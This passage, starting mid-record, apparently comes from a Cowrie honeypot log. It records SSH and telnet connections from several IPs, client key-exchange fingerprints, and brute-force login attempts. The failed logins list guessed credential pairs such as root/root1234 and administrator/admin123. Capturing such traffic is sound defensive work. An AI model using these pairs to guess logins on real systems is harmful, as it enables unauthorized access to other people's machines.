-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:08:24.860378Z","src_ip":"94.26.106.229","session":"69922ece14ff","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"demo","password":"123456","message":"login attempt [demo/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:08:25.331512Z","src_ip":"94.26.106.229","session":"69922ece14ff","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:08:26.423261Z","src_ip":"94.26.106.229","session":"69922ece14ff","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.26.106.229","src_port":11370,"dst_ip":"159.203.135.109","dst_port":22,"session":"74b17691baff","protocol":"ssh","message":"New connection: 94.26.106.229:11370 (159.203.135.109:22) [session: 74b17691baff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:08:27.285822Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:08:27.293787Z","src_ip":"94.26.106.229","session":"74b17691baff","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.26.106.229","src_port":51768,"dst_ip":"159.203.135.109","dst_port":22,"session":"769928653822","protocol":"ssh","message":"New connection: 94.26.106.229:51768 (159.203.135.109:22) [session: 769928653822]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:08:27.339544Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:08:27.344412Z","src_ip":"94.26.106.229","session":"769928653822","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:08:27.383079Z","src_ip":"94.26.106.229","session":"74b17691baff","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:08:27.429179Z","src_ip":"94.26.106.229","session":"769928653822","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":34516,"dst_ip":"159.203.135.109","dst_port":22,"session":"90e80e3932bf","protocol":"ssh","message":"New connection: 45.156.87.204:34516 (159.203.135.109:22) [session: 90e80e3932bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:08:27.454697Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:08:27.541666Z","src_ip":"45.156.87.204","session":"90e80e3932bf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:08:27.546469Z","src_ip":"45.156.87.204","session":"90e80e3932bf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"cacti","password":"p@ssw0rd","message":"login attempt [cacti/p@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:08:27.652180Z","src_ip":"94.26.106.229","session":"74b17691baff","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"usman","password":"usman","message":"login attempt [usman/usman] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:08:27.681468Z","src_ip":"94.26.106.229","session":"769928653822","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"david","password":"david","message":"login attempt [david/david] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:08:28.139612Z","src_ip":"45.156.87.204","session":"90e80e3932bf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:08:28.745407Z","src_ip":"94.26.106.229","session":"74b17691baff","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:08:28.767302Z","src_ip":"94.26.106.229","session":"769928653822","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:08:29.223152Z","src_ip":"45.156.87.204","session":"90e80e3932bf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.26.106.229","src_port":51770,"dst_ip":"159.203.135.109","dst_port":22,"session":"5c18fa4c7b4b","protocol":"ssh","message":"New connection: 94.26.106.229:51770 (159.203.135.109:22) [session: 5c18fa4c7b4b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:08:29.489936Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:08:29.494261Z","src_ip":"94.26.106.229","session":"5c18fa4c7b4b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:08:29.577968Z","src_ip":"94.26.106.229","session":"5c18fa4c7b4b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":46.4726779460907,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:08:29.717402Z","src_ip":"152.42.224.71","session":"18f9bce17a37","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"bob","password":"123","message":"login attempt [bob/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:08:29.829067Z","src_ip":"94.26.106.229","session":"5c18fa4c7b4b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:08:30.975898Z","src_ip":"94.26.106.229","session":"5c18fa4c7b4b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":34534,"dst_ip":"159.203.135.109","dst_port":22,"session":"8e5d58406756","protocol":"ssh","message":"New connection: 45.156.87.204:34534 (159.203.135.109:22) [session: 8e5d58406756]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:08:31.181886Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:08:31.186179Z","src_ip":"45.156.87.204","session":"8e5d58406756","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:08:31.267897Z","src_ip":"45.156.87.204","session":"8e5d58406756","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root1234","message":"login attempt [root/root1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:08:31.512794Z","src_ip":"45.156.87.204","session":"8e5d58406756","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.26.106.229","src_port":51774,"dst_ip":"159.203.135.109","dst_port":22,"session":"24fbaafb4709","protocol":"ssh","message":"New connection: 94.26.106.229:51774 (159.203.135.109:22) [session: 24fbaafb4709]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:08:32.098767Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:08:32.102778Z","src_ip":"94.26.106.229","session":"24fbaafb4709","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:08:32.185872Z","src_ip":"94.26.106.229","session":"24fbaafb4709","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"administrator","password":"admin123","message":"login attempt [administrator/admin123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:08:32.437240Z","src_ip":"94.26.106.229","session":"24fbaafb4709","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:08:32.596600Z","src_ip":"45.156.87.204","session":"8e5d58406756","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":27.79981756210327,"message":"Connection lost after 27 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:08:32.660855Z","src_ip":"152.42.224.71","session":"1a922e92f5e2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:08:33.524264Z","src_ip":"94.26.106.229","session":"24fbaafb4709","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.153.68.219","src_port":37496,"dst_ip":"159.203.135.109","dst_port":22,"session":"5a5080a14565","protocol":"ssh","message":"New connection: 103.153.68.219:37496 (159.203.135.109:22) [session: 5a5080a14565]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:08:34.205162Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:08:34.210116Z","src_ip":"103.153.68.219","session":"5a5080a14565","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.26.106.229","src_port":48394,"dst_ip":"159.203.135.109","dst_port":22,"session":"c69d0d81a4de","protocol":"ssh","message":"New connection: 94.26.106.229:48394 (159.203.135.109:22) [session: c69d0d81a4de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:08:34.220001Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:08:34.225307Z","src_ip":"94.26.106.229","session":"c69d0d81a4de","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:08:34.309194Z","src_ip":"94.26.106.229","session":"c69d0d81a4de","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:08:34.463755Z","src_ip":"103.153.68.219","session":"5a5080a14565","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dell","password":"1","message":"login attempt [dell/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:08:34.560091Z","src_ip":"94.26.106.229","session":"c69d0d81a4de","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":53108,"dst_ip":"159.203.135.109","dst_port":22,"session":"4826fdc2689d","protocol":"ssh","message":"New connection: 45.156.87.204:53108 (159.203.135.109:22) [session: 4826fdc2689d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:08:34.585763Z"}
